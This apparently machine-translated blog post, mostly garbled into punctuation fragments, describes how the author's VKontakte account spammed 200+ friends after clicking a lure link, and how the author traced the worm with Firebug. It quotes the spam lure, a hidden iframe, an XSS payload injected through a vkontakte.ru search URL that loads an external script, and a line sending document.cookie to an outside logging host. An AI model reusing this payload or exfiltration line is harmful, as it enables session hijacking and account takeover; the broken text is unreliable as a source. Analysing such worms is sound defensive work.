How to become a spamming peddler VKontakte because of curiosity

Just a few minutes ago, I managed to send 200+ messages to my friends VKontakte.
Naturally it was a spam message with the following content:

hello, I’m leaving the contact, och a lot of spam comes ((now I’ll delete my page, if you need something, then call me on the mobile phone or look for me here vkontakte.ru/away.php?to= ... I have there My own page under my name. This is not spam, I am sending it to all my friends ...).

, :
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2. - Linux
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vk-foto.ru, odnonochniki.ru/?rid=484
«» .
.
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Web Developer Toolbar META- Firebug vk-foto.ru. Firefox' , .
HTML :
<iframe src='http://vk-foto.ru/2/1.php' style='display:none;' ></iframe>

, … 404 .
, .
vk-foto Net Firebug', :

. :
1. 404 .
2. «404»

, iframe:
<iframe src = vkontakte.ru/gsearch.php?from=ads§ion=ads&c[type]=1&c[%22%3E%3CsCRIPT%20%20src%20%3d%20http://webzer.vov.ru/vk.js%20%20%3E%3C/script%3E]=2 width='0' height='0' style='display:none' ></iframe>

. XSS . Javascript.
:
location.href='http://webzer.vov.ru/css/log.php?' + document.cookie

.

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4. 404, :)
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DISCLAIMER: , . IT-,